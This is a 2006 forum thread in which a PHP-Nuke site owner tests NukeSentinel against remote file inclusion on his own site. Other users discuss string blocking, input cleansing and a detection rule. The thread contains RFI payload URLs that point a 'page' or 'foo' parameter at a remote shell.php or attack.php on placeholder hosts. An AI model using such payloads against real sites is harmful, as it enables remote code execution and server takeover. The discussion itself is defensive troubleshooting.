Remote File Inclusion Problem..

Hangin' Around Joined: Dec 26, 2006 Posts: 28

Hello im just got done updating my Nuke Sentinel to NukeSentinel(tm) 2.5.03

And i know enough about all these SQL Injection and Remote File Inclusions and ive been testing exploits on my site to see how secure it was and it never blocked me when i used ?page=http://www.google.com

Why wouldnt it be blocking that? Thats a major problem lol

registered · Posted: Tue Dec 26, 2006 8:54 pm

And what would the rest of the URL be???? Ok, I'll "bite", what makes you think this query string is a problem?

Posted: Tue Dec 26, 2006 8:56 pm

For it when i add ?page=http://www.SITE.com/shell.php to loads my site up noramlly and its still in the url

And ?page=http://www.SITE.com/shell.php is a RFI ( Remote File Inclusion ) To upload a shell on the sites server remotly...

Posted: Wed Dec 27, 2006 7:18 am

But, here is the point: if $page is not used anywhere or, it is being properly "cleansed" before use, then adding that to your query string is of no risk.

If there is a specific hole that you see where the $page is actually being used in a manner where this style of XSS attack would actually succeed, please PM me the details so that we can review.

I cannot speak for the author of NukeSentinel, but I have to believe that if $page had been a problem, he would have added it to the XSS blocker.

Posted: Wed Dec 27, 2006 10:19 am

oh okay, and ive talked to some others about this and they said its patched now lol, but i think i might add it to Nuke Sentinel's String Blocker though just incase there is a way to use that still...

Posted: Wed Dec 27, 2006 10:29 am

Yup it worked now, i added it as a String to block in Nuke Sentinel and it banned me..

You have been blocked from entering this site.

You have attempted to bypass the Filter System on this site.

All of the following information has been gathered to assist the webmaster should this need to be reported to local or federal law enforcement.

Posted: Wed Dec 27, 2006 2:32 pm

Just always remember that NukeSentinel shouldn't even be needed if PHP-Nuke handled the cleansing of input variables properly. But, then again, to be quite honest, that is the case with ALL software. Since software is written by humans, and "to err is human", ...

We ALL make mistakes, so even if YOU personally review a third party block or module's code, things will be missed. The best projects are those that are still active and actively plugging holes as they are found. However, even though PHP-Nuke apparently is still active, the author doesn't care enough to plug the holes... so others are left with having to do it.

Posted: Wed Dec 27, 2006 5:48 pm

louis_domino wrote:

Hello im just got done updating my Nuke Sentinel to NukeSentinel(tm) 2.5.03

And i know enough about all these SQL Injection and Remote File Inclusions and ive been testing exploits on my site to see how secure it was and it never blocked me when i used ?page=http://www.google.com

Why wouldnt it be blocking that? Thats a major problem lol

Were you logged in as admin when you tried that? Try it as a non-user.

Posted: Wed Dec 27, 2006 9:10 pm

Well it wont work anymore because i added it to NukeSentinel(tm) 2.5.04 String Blocker, the string i added to block is ?page=

Posted: Wed Dec 27, 2006 10:05 pm

Well you are going to block any module that uses ?page as a variable then...

Sentinel should already be preventing against any XSS attacks. Remove your string block and try it again as a regular or anonymous user.

Posted: Thu Dec 28, 2006 8:22 am

Good point Gremmie as this line should have caught it:

OR stristr($nsnst_const['query_string'], "http://")

It might be better to delete your cookies to be certain and then re-test without the string blocker.

Posted: Thu Dec 28, 2006 11:28 am

Okay, i tried it again when i logged out of Admin and User and i typed in this after my url ?page=http://www.evilscripts.com/shell.php and i gave me a Error Page saying

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the administrator, of (none), and inform them of the time the error occurred, and anything you might have done that may have caused the error.

Error: HTTPd: malformed header from script /

Posted: Thu Dec 28, 2006 12:59 pm

Just to clarify, there isn't anything magical about the variable "page". An attacker who knows the source of a given module may discover that the module author is using some variable "foo" to include a file without first initializing it. He may then formulate a XSS attack by passing a string of the form

Code:

 


http://something.com/blah.php?arg1=1&arg2=2&arg3=3&foo=http://something-evil.com/attack.php

A string blocker for "?page" is only going to protect you if you had some code/module that used the variable "page" in an unprotected manner. Its better to patch the module. And you aren't protecting against other variables getting XSS attacks.

Anyway, back to your error, I just tried to do something similar on my site, and I got a Forbidden error. Maybe its because the // in http:// needs to be HTML escaped first? I'm just guessing about that.